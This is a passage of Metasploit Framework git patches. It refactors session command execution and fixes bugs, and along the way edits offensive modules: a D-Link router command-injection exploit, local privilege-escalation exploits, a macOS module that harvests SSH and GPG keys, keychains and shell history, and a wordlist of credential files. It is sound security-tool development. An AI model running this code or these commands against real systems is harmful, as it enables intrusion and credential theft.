+++ b/spec/support/shared/examples/msf/db_manager/note.rb @@ -1,10 +1,9 @@ RSpec.shared_examples_for 'Msf::DBManager::Note' do - if ENV['REMOTE_DB'] - before {skip("Awaiting port")} + unless ENV['REMOTE_DB'] + it { is_expected.to respond_to :each_note } end - it { is_expected.to respond_to :each_note } it { is_expected.to respond_to :find_or_create_note } it { is_expected.to respond_to :notes } it { is_expected.to respond_to :report_note } diff --git a/spec/support/shared/examples/msf/db_manager/service.rb b/spec/support/shared/examples/msf/db_manager/service.rb index f9e69700b4..15dce34e9e 100644 --- a/spec/support/shared/examples/msf/db_manager/service.rb +++ b/spec/support/shared/examples/msf/db_manager/service.rb @@ -1,12 +1,12 @@ RSpec.shared_examples_for 'Msf::DBManager::Service' do - it { is_expected.to respond_to :delete_service } unless ENV['REMOTE_DB'] + it { is_expected.to respond_to :delete_service } it { is_expected.to respond_to :each_service } - it { is_expected.to respond_to :find_or_create_service } it { is_expected.to respond_to :get_service } end - it { is_expected.to respond_to :report_service } + it { is_expected.to respond_to :find_or_create_service } it { is_expected.to respond_to :services } + it { is_expected.to respond_to :report_service } end \ No newline at end of file From 79527809e2ebe23c71638055d8d6bcfa7b5526be Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Thu, 17 May 2018 10:08:56 +0200 Subject: [PATCH 20/41] Fix is_system? in Msf::Post::Windows::Priv for non-English systems Switch to comparing the SID string, instead of comparing the resolved user name --- lib/msf/core/post/windows/priv.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 084f9acec7..7928d79777 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -106,12 +106,7 @@ module Msf::Post::Windows::Priv # def is_system? if session_has_ext - local_sys = resolve_sid(SYSTEM_SID) - if session.sys.config.getuid == "#{local_sys[:domain]}\\#{local_sys[:name]}" - return true - else - return false - end + return session.sys.config.is_system? else results = registry_enumkeys('HKLM\SAM\SAM') if results From 9eb5700fcbbed01dd210032cb801b133db5c217d Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 17 May 2018 07:50:30 -0500 Subject: [PATCH 21/41] Make shell and meterpreter sessions consistent with cmd_exec There's no need for different calls in modules, let's remove the need for cargo culting (if there was one to begin with). --- lib/msf/core/post/common.rb | 42 +++++-------------------------------- 1 file changed, 5 insertions(+), 37 deletions(-) diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index 12286b7ddf..90750e3550 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -80,31 +80,10 @@ module Msf::Post::Common # # Returns a (possibly multi-line) String. # - def cmd_exec(cmd, args=nil, time_out=15) + def cmd_exec(cmd, args="", time_out=15) case session.type when /meterpreter/ - # - # The meterpreter API requires arguments to come separately from the - # executable path. This has no effect on Windows where the two are just - # blithely concatenated and passed to CreateProcess or its brethren. On - # POSIX, this allows the server to execve just the executable when a - # shell is not needed. Determining when a shell is not needed is not - # always easy, so it assumes anything with arguments needs to go through - # /bin/sh. - # - # This problem was originally solved by using Shellwords.shellwords but - # unfortunately, it is unsuitable. When a backslash occurs inside double - # quotes (as is often the case with Windows commands) it inexplicably - # removes them. So. Shellwords is out. - # - # By setting +args+ to an empty string, we can get POSIX to send it - # through /bin/sh, solving all the pesky parsing troubles, without - # affecting Windows. - # start = Time.now.to_i - if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/ - args = "" - end session.response_timeout = time_out process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true}) @@ -120,7 +99,6 @@ module Msf::Post::Common end end end - o.chomp! if o begin process.channel.close @@ -130,22 +108,12 @@ module Msf::Post::Common process.close when /powershell/ - if args.nil? || args.empty? - o = session.shell_command("#{cmd}", time_out) - else - o = session.shell_command("#{cmd} #{args}", time_out) - end - o.chomp! if o + o = session.shell_command("#{cmd} #{args}", time_out) when /shell/ - if args.nil? || args.empty? - o = session.shell_command_token("#{cmd}", time_out) - else - o = session.shell_command_token("#{cmd} #{args}", time_out) - end - o.chomp! if o + o = session.shell_command_token("#{cmd} #{args}", time_out) end - return "" if o.nil? - return o + + o ? o.chomp : "" end def cmd_exec_get_pid(cmd, args=nil, time_out=15) From 520b8bc3c0c3631f58516834aad243dc020e0615 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 17 May 2018 07:59:33 -0500 Subject: [PATCH 22/41] remove many duplicate code paths --- modules/post/osx/gather/enum_osx.rb | 139 +++++++--------------------- 1 file changed, 33 insertions(+), 106 deletions(-) diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index 63d4bf1c01..a67da54803 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -30,7 +30,7 @@ class MetasploitModule < Msf::Post when /meterpreter/ host = sysinfo["Computer"] when /shell/ - host = cmd_exec("hostname").chomp + host = cmd_exec("hostname") end print_status("Running module against #{host}") running_root = check_root @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Post when /meterpreter/ host = Rex::FileUtils.clean_path(sysinfo['Computer']) when /shell/ - host = Rex::FileUtils.clean_path(cmd_exec('hostname').chomp) + host = Rex::FileUtils.clean_path(cmd_exec('hostname')) end # Create Filename info to be appended to downloaded files @@ -105,42 +105,19 @@ class MetasploitModule < Msf::Post # Checks if running as root on the target def check_root # Get only the account ID - case session.type - when /shell/ - id = cmd_exec("/usr/bin/id -ru").chomp - when /meterpreter/ - id = cmd_exec("/usr/bin/id", "-ru").chomp - end - - if id == "0" - return true - else - return false - end + cmd_exec("/usr/bin/id", "-ru") == "0" end # Checks if the target is OSX Server def check_server # Get the OS Name - case session.type - when /meterpreter/ - osx_ver = cmd_exec("/usr/bin/sw_vers", "-productName").chomp - when /shell/ - osx_ver = cmd_exec("/usr/bin/sw_vers -productName").chomp - end - return osx_ver =~/Server/ + cmd_exec("/usr/bin/sw_vers", "-productName") =~/Server/ end # Enumerate the OS Version def get_ver # Get the OS Version - case session.type - when /meterpreter/ - osx_ver_num = cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp - when /shell/ - osx_ver_num = cmd_exec('/usr/bin/sw_vers -productVersion').chomp - end - return osx_ver_num + cmd_exec('/usr/bin/sw_vers', '-productVersion') end def enum_conf(log_folder) @@ -176,35 +153,18 @@ class MetasploitModule < Msf::Post # Enumerate first using System Profiler profile_datatypes.each do |name, profile_datatypes| print_status("\tEnumerating #{name}") - # Run commands according to the session type - if session.type =~ /meterpreter/ - returned_data = cmd_exec('system_profiler', profile_datatypes) - # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt",returned_data) - elsif session.type =~ /shell/ - begin - returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}") - # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt",returned_data) - rescue - end - end + returned_data = cmd_exec("/usr/sbin/system_profiler #{profile_datatypes}") + # Save data lo log folder + file_local_write(log_folder+"//#{name}.txt", returned_data) end # Enumerate using system commands shell_commands.each do |name, command| print_status("\tEnumerating #{name}") - # Run commands according to the session type + command_output = cmd_exec(command[0],command[1]) + # Save data lo log folder begin - if session.type =~ /meterpreter/ - command_output = cmd_exec(command[0],command[1]) - # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt",command_output) - elsif session.type =~ /shell/ - command_output = cmd_exec(command[0], command[1]) - # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt",command_output) - end + file_local_write(log_folder+"//#{name}.txt",command_output) rescue print_error("failed to run #{name}") end @@ -231,22 +191,9 @@ class MetasploitModule < Msf::Post end shell_commands.each do |name, command| print_status("\tEnumerating #{name}") - - # Run commands according to the session type - if session.type =~ /meterpreter/ - - command_output = cmd_exec(command[0], command[1]) - - # Save data lo log folder - file_local_write(log_folder+"//#{name}.txt", command_output) - - elsif session.type =~ /shell/ - - command_output = cmd_exec(command.join(' ')) - - # Save data lo log folder - file_local_write(log_folder + "//#{name}.txt", command_output) - end + command_output = cmd_exec(command[0], command[1]) + # Save data lo log folder + file_local_write(log_folder+"//#{name}.txt", command_output) end end @@ -260,12 +207,12 @@ class MetasploitModule < Msf::Post if not check_root # Enumerate the home folder content - home_folder_list = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") + home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ") # Check for SSH folder and extract keys if found if home_folder_list.include?("\.ssh") print_status(".ssh Folder is present") - ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").chomp.split(", ") + ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") @@ -279,7 +226,7 @@ class MetasploitModule < Msf::Post # Check for GPG and extract keys if found if home_folder_list.include?("\.gnupg") print_status(".gnupg Folder is present") - gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").chomp.split(", ") + gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ") gnugpg_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") @@ -291,22 +238,17 @@ class MetasploitModule < Msf::Post end else users = [] - case session.type - when /meterpreter/ - users_folder = cmd_exec("/bin/ls","/Users") - when /shell/ - users_folder = cmd_exec("/bin/ls /Users") - end + users_folder = cmd_exec("/bin/ls","/Users") users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp end users.each do |u| - user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") + user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ") if user_folder.include?("\.ssh") print_status(".ssh Folder is present for #{u}") - ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").chomp.split(", ") + ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") @@ -320,10 +262,10 @@ class MetasploitModule < Msf::Post users.each do |u| - user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") + user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ") if user_folder.include?("\.ssh") print_status(".gnupg Folder is present for #{u}") - ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").chomp.split(", ") + ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ") ssh_folder.each do |k| next if k =~/^\.$|^\.\.$/ print_status("\tDownloading #{k.strip}") @@ -356,13 +298,10 @@ class MetasploitModule < Msf::Post end end else - # Run commands according to the session type - if session.type =~ /shell/ - cmd_exec("/usr/sbin/screencapture -x /tmp/#{picture_name}.jpg") - file_local_write(log_folder+"//screenshot.jpg", - cmd_exec("/bin/cat /tmp/#{picture_name}.jpg")) - cmd_exec("/usr/bin/srm -m -z /tmp/#{picture_name}.jpg") - end + cmd_exec("/usr/sbin/screencapture", "-x /tmp/#{picture_name}.jpg") + file_local_write(log_folder+"//screenshot.jpg", + cmd_exec("/bin/cat /tmp/#{picture_name}.jpg")) + cmd_exec("/usr/bin/srm", "-m -z /tmp/#{picture_name}.jpg") end print_status("Screenshot Captured") end @@ -370,16 +309,9 @@ class MetasploitModule < Msf::Post def dump_bash_history(log_folder) print_status("Extracting history files") - # Run commands according to the session type users = [] - case session.type - when /meterpreter/ - users_folder = cmd_exec("/bin/ls","/Users").chomp - current_user = cmd_exec("/usr/bin/id","-nu").chomp - when /shell/ - users_folder = cmd_exec("/bin/ls /Users").chomp - current_user = cmd_exec("/usr/bin/id -nu").chomp - end + users_folder = cmd_exec("/bin/ls","/Users") + current_user = cmd_exec("/usr/bin/id","-nu") users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp @@ -389,7 +321,7 @@ class MetasploitModule < Msf::Post if current_user == "root" # Check the root user folder - root_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") + root_folder = cmd_exec("/bin/ls -ma ~/").split(", ") root_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for root") @@ -405,7 +337,7 @@ class MetasploitModule < Msf::Post users.each do |u| # Lets get a list of all the files on the users folder and place them in an array - user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").chomp.split(", ") + user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ") user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{u}") @@ -419,7 +351,7 @@ class MetasploitModule < Msf::Post end else - current_user_folder = cmd_exec("/bin/ls -ma ~/").chomp.split(", ") + current_user_folder = cmd_exec("/bin/ls -ma ~/").split(", ") current_user_folder.each do |f| if f =~ /\.\w*\_history/ print_status("\tHistory file #{f.strip} found for #{current_user}") @@ -436,12 +368,7 @@ class MetasploitModule < Msf::Post # Download configured Keychains def get_keychains(log_folder) users = [] - case session.type - when /meterpreter/ - users_folder = cmd_exec("/bin/ls","/Users").chomp - when /shell/ - users_folder = cmd_exec("/bin/ls /Users").chomp - end + users_folder = cmd_exec("/bin/ls","/Users") users_folder.each_line do |u| next if u.chomp =~ /Shared|\.localized/ users << u.chomp @@ -459,7 +386,7 @@ class MetasploitModule < Msf::Post end end else - current_user = cmd_exec("/usr/bin/id -nu").chomp + current_user = cmd_exec("/usr/bin/id -nu") print_status("Enumerating and Downloading keychains for #{current_user}") keychain_files = cmd_exec("usr/bin/security list-keychains").split("\n") keychain_files.each do |k| From 6b1113d38dc1bbeea89419ae70ff6b306525a3c3 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Thu, 17 May 2018 12:46:41 -0400 Subject: [PATCH 23/41] Fix incorrect rescue argument --- lib/metasploit/framework/data_service/proxy/host_data_proxy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb b/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb index f17e2b071b..92cc3f64a4 100644 --- a/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb +++ b/lib/metasploit/framework/data_service/proxy/host_data_proxy.rb @@ -31,7 +31,7 @@ module HostDataProxy begin data_service = self.get_data_service() data_service.get_host(opts) - rescue e + rescue => e self.log_error(e, "Problem retrieving host") end end From eb3733ffb40561489f2424a4f846fb79cf4b2ebc Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 17 May 2018 17:42:55 +0000 Subject: [PATCH 24/41] unless --- modules/exploits/linux/local/rds_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/rds_priv_esc.rb b/modules/exploits/linux/local/rds_priv_esc.rb index 845fecb193..4ee0367487 100644 --- a/modules/exploits/linux/local/rds_priv_esc.rb +++ b/modules/exploits/linux/local/rds_priv_esc.rb @@ -144,7 +144,7 @@ class MetasploitModule < Msf::Exploit::Local end def exploit - if check != CheckCode::Appears + unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From 6858a1caf9680c7cc1e9ce4825a042aeb503250d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 18 May 2018 22:10:47 +1000 Subject: [PATCH 25/41] Add compilation instructions to documentation --- .../modules/exploit/linux/local/rds_priv_esc.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/documentation/modules/exploit/linux/local/rds_priv_esc.md b/documentation/modules/exploit/linux/local/rds_priv_esc.md index fb48d88336..899f01b1d3 100644 --- a/documentation/modules/exploit/linux/local/rds_priv_esc.md +++ b/documentation/modules/exploit/linux/local/rds_priv_esc.md @@ -45,6 +45,20 @@ and fall back to uploading a pre-compiled binary. +## Compiled Executables + +The module makes use of two pre-compiled exploit executables (`rds.x86` and `rds.x64`), +to be use when `gcc` is not available on the target host for live compiling, or +`COMPILE` is set to `False`. + +The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar.xz): + +```bash +./x86_64-linux-musl-gcc -o rds.x64 -pie -static rds.c +./i486-linux-musl-gcc -o rds.x86 -pie -static rds.c +``` + + ## Scenarios ``` From a8fcd9d275305170010e0e911fcb5d3615d6698d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Cl=C3=A9ment=20Notin?= Date: Sat, 19 May 2018 01:35:19 +0200 Subject: [PATCH 26/41] Fix display of uid in post/windows/gather/win_privs `inspect` is not necessary and triggers display of Unicode characters as "\x.." instead of printing their value. As discussed in PR #10044 --- modules/post/windows/gather/win_privs.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/win_privs.rb b/modules/post/windows/gather/win_privs.rb index 652d0cea31..5fa3ba55f5 100644 --- a/modules/post/windows/gather/win_privs.rb +++ b/modules/post/windows/gather/win_privs.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Post admin = is_admin? ? 'True' : 'False' admin_group = is_in_admin_group? ? 'True' : 'False' sys = is_system? ? 'True' : 'False' - uid = client.sys.config.getuid.inspect + uid = client.sys.config.getuid begin # Older OS might not have this (min support is XP) fid = client.railgun.kernel32.WTSGetActiveConsoleSessionId["return"] From aa033bf5c109c1aa5a08022096a34e49f9efa318 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 20 May 2018 16:19:25 +0000 Subject: [PATCH 27/41] Fix cleanup --- modules/exploits/osx/local/rootpipe_entitlements.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 2a29188d8e..2c045a6270 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'") print_status("Deleting Directory Utility.app") - cmd_exec('rm -Rf "#{new_app}"') + cmd_exec("rm -Rf '#{new_app}'") print_status('Executing payload...') cmd_exec("/bin/sh -c '#{root_file} &'") From 6ae55aadd4c40d2cc1878eb97a0c1d51a8c0668b Mon Sep 17 00:00:00 2001 From: lucyoa Date: Sun, 20 May 2018 12:55:46 -0400 Subject: [PATCH 28/41] Fixing documentation, improving exploits code --- .../linux/http/dlink_dsl2750b_exec_noauth.md | 6 +- .../linux/http/dlink_dsl2750b_exec_noauth.rb | 74 +++++++++---------- 2 files changed, 38 insertions(+), 42 deletions(-) diff --git a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md index a32f022d78..27fc66ee65 100644 --- a/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md +++ b/documentation/modules/exploit/linux/http/dlink_dsl2750b_exec_noauth.md @@ -1,7 +1,9 @@ +## Description + This module dlink_dsl2750b_exec_noauth exploits unauthenticated command injection vulnerability through "cli" parameter. Vulnerable firmwares are 1.01 up to 1.03. -## Vulnerable Application +## Verification Steps 1. Start msfconsole 2. Do : `use exploit/linux/http/dlink_dsl2750b_exec_noauth` @@ -11,7 +13,7 @@ Vulnerable firmwares are 1.01 up to 1.03. 6. If router is vulnerable, payload should be dropped via wget method and executed giving us meterpreter session -## Example +## Scenarios ``` msf5 > use exploit/linux/http/dlink_dsl2750b_exec_noauth diff --git a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb index b4b336ecda..c2b5d2481c 100644 --- a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb @@ -51,53 +51,47 @@ class MetasploitModule < Msf::Exploit::Remote end def check - begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/ayefeaturesconvert.js' - }) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/ayefeaturesconvert.js' + }) - unless res - vprint_error('Connection failed') - return CheckCode::Unknown - end - - unless res.code.to_i == 200 && res.body.include?('DSL-2750') - vprint_status('Remote host is not a DSL-2750') - return CheckCode::Safe - end - - if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/ - version = $1 - vprint_status("Remote host is a DSL-2750B with firmware version #{version}") - if version >= "1.01" and version <= "1.03" - return Exploit::CheckCode::Appears - end - end - - CheckCode::Safe - rescue ::Rex::ConnectionError + unless res vprint_error('Connection failed') return CheckCode::Unknown end + + unless res.code.to_i == 200 && res.body.include?('DSL-2750') + vprint_status('Remote host is not a DSL-2750') + return CheckCode::Safe + end + + if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/ + version = $1 + vprint_status("Remote host is a DSL-2750B with firmware version #{version}") + if version >= "1.01" and version <= "1.03" + return Exploit::CheckCode::Appears + end + end + + CheckCode::Safe + rescue ::Rex::ConnectionError + vprint_error('Connection failed') + return CheckCode::Unknown end def execute_command(cmd, opts) - begin - payload = Rex::Text.uri_encode("multilingual show';#{cmd}'") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/login.cgi', - 'vars_get' => { - 'cli' => "#{payload}$" - }, - 'encode_params' => false - }, 5) - - return res - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server") - end + payload = Rex::Text.uri_encode("multilingual show';#{cmd}'") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => '/login.cgi', + 'vars_get' => { + 'cli' => "#{payload}$" + }, + 'encode_params' => false + }, 5) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server") end def exploit From d0941e847b900f9a816efcca75c5b94e6b29a2e4 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Mon, 21 May 2018 09:06:00 +0530 Subject: [PATCH 29/41] return PLUGIN_DESCRIPTION instead of actual string --- plugins/nessus.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/nessus.rb b/plugins/nessus.rb index 50fac05d76..b8a345fac3 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -12,9 +12,9 @@ module Msf def name PLUGIN_NAME end - + PLUGIN_DESCRIPTION def desc - "Nessus Bridge for Metasploit" + end class ConsoleCommandDispatcher From 95ad075d9794c00d4d4d32452def5de2dd7bd9b1 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Mon, 21 May 2018 09:08:17 +0530 Subject: [PATCH 30/41] Update nessus.rb --- plugins/nessus.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/nessus.rb b/plugins/nessus.rb index b8a345fac3..04ccdf3fed 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -12,9 +12,9 @@ module Msf def name PLUGIN_NAME end - PLUGIN_DESCRIPTION + def desc - + PLUGIN_DESCRIPTION end class ConsoleCommandDispatcher From 134ed389a9bf7199c79b1de5a5f18a30bd3135b8 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 21 May 2018 03:22:05 -0500 Subject: [PATCH 31/41] update kiwi plugin, add dcshadow and powershell streaming support This does a few things: 1. Updates the kiwi plugin to mimikatz 2.1.1 20180502 2. Adds ability to dcsync & hashdump via Powershell 3. Adds streaming support to powershell commands (no more timeouts) It also adds the following powershell functions to make things more convenient: * Invoke-DcSync * Invoke-DcSyncAll * Invoke-DcSyncHashDump See https://github.com/rapid7/metasploit-payloads/pull/284 for details --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1a8bb584db..2b9ebfd546 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -18,7 +18,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.3.34) + metasploit-payloads (= 1.3.37) metasploit_data_models metasploit_payloads-mettle (= 0.3.8) mqtt @@ -161,7 +161,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.3.34) + metasploit-payloads (1.3.37) metasploit_data_models (3.0.0) activerecord (~> 4.2.6) activesupport (~> 4.2.6) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 831f6ccba9..e8458d80d7 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -70,7 +70,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.3.34' + spec.add_runtime_dependency 'metasploit-payloads', '1.3.37' # Needed for the next-generation POSIX Meterpreter spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.8' # Needed by msfgui and other rpc components From cd0161ada2e34b337f132e3ec0b5127133a533f0 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 21 May 2018 16:46:42 +0800 Subject: [PATCH 32/41] fix gcc for shell_reverse_tcp payloads on ubuntu --- .../linux/local/af_packet_chocobo_root_priv_esc.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb index b5a4dd78fd..acb9b57a20 100644 --- a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -93,7 +93,12 @@ class MetasploitModule < Msf::Exploit::Local def upload_and_compile(path, data) upload "#{path}.c", data - output = cmd_exec "gcc -o #{path} #{path}.c -lpthread" + + gcc_cmd = "gcc -o #{path} #{path}.c -lpthread" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd unless output.blank? print_error output From 9e9dff8b6accf9a2fddb4ebd5f493d085a3c1a70 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 21 May 2018 16:47:09 +0800 Subject: [PATCH 33/41] fix file cleanup on failed exploitation --- .../exploits/linux/local/af_packet_chocobo_root_priv_esc.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb index acb9b57a20..41a82628ea 100644 --- a/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb +++ b/modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb @@ -83,7 +83,6 @@ class MetasploitModule < Msf::Exploit::Local print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data - register_file_for_cleanup path end def upload_and_chmodx(path, data) @@ -99,6 +98,7 @@ class MetasploitModule < Msf::Exploit::Local gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd + rm_f "#{path}.c" unless output.blank? print_error output @@ -106,7 +106,6 @@ class MetasploitModule < Msf::Exploit::Local end cmd_exec "chmod +x #{path}" - register_file_for_cleanup path end def exploit_data(file) @@ -194,5 +193,8 @@ class MetasploitModule < Msf::Exploit::Local print_status "Launching exploit (Timeout: #{timeout})..." output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path}.." + rm_f executable_path + rm_f payload_path end end From 57bb7fd8196819d173777d24e446d78d0d69c320 Mon Sep 17 00:00:00 2001 From: follower Date: Tue, 22 May 2018 00:12:20 +1200 Subject: [PATCH 34/41] Add correct filename for `/etc/group` AFAICT the correct filename is the singular form `group` not `groups` (e.g. [see](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/Introduction_To_System_Administration/s3-acctspgrps-group.html) & [see](https://linux.die.net/man/5/group)). Rather than just correcting the filename in place I'm adding the correct form because when even [official Red Hat documentation](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/7.3_release_notes/bug_fixes_authentication_and_interoperability#idm140113937457168) sometimes gets it wrong, maybe one day someone will get lucky with the misspelling. --- data/wordlists/sensitive_files.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/wordlists/sensitive_files.txt b/data/wordlists/sensitive_files.txt index 79db3e9f44..42c0b49d48 100755 --- a/data/wordlists/sensitive_files.txt +++ b/data/wordlists/sensitive_files.txt @@ -1,5 +1,6 @@ /etc/passwd /etc/shadow +/etc/group /etc/groups /etc/mysql.conf /etc/mysql/my.cnf From 1b7e6130809c411b98cda4ff3062f5d0ef5d0ed5 Mon Sep 17 00:00:00 2001 From: christopher lee Date: Mon, 21 May 2018 14:18:43 -0500 Subject: [PATCH 35/41] Fixed bug in module cache --- lib/msf/core/modules/metadata/cache.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/modules/metadata/cache.rb b/lib/msf/core/modules/metadata/cache.rb index d5fba45e01..c8022a28ad 100644 --- a/lib/msf/core/modules/metadata/cache.rb +++ b/lib/msf/core/modules/metadata/cache.rb @@ -131,7 +131,7 @@ class Cache # Remove all instances of modules pointing to the same path. This prevents stale data hanging # around when modules are incorrectly typed (eg: Auxilary that should be Exploit) @module_metadata_cache.delete_if {|_, module_metadata| - module_metadata.path.eql? metadata_obj.path + module_metadata.path.eql? metadata_obj.path && module_metadata.type != module_metadata.type } @module_metadata_cache[get_cache_key(module_instance)] = 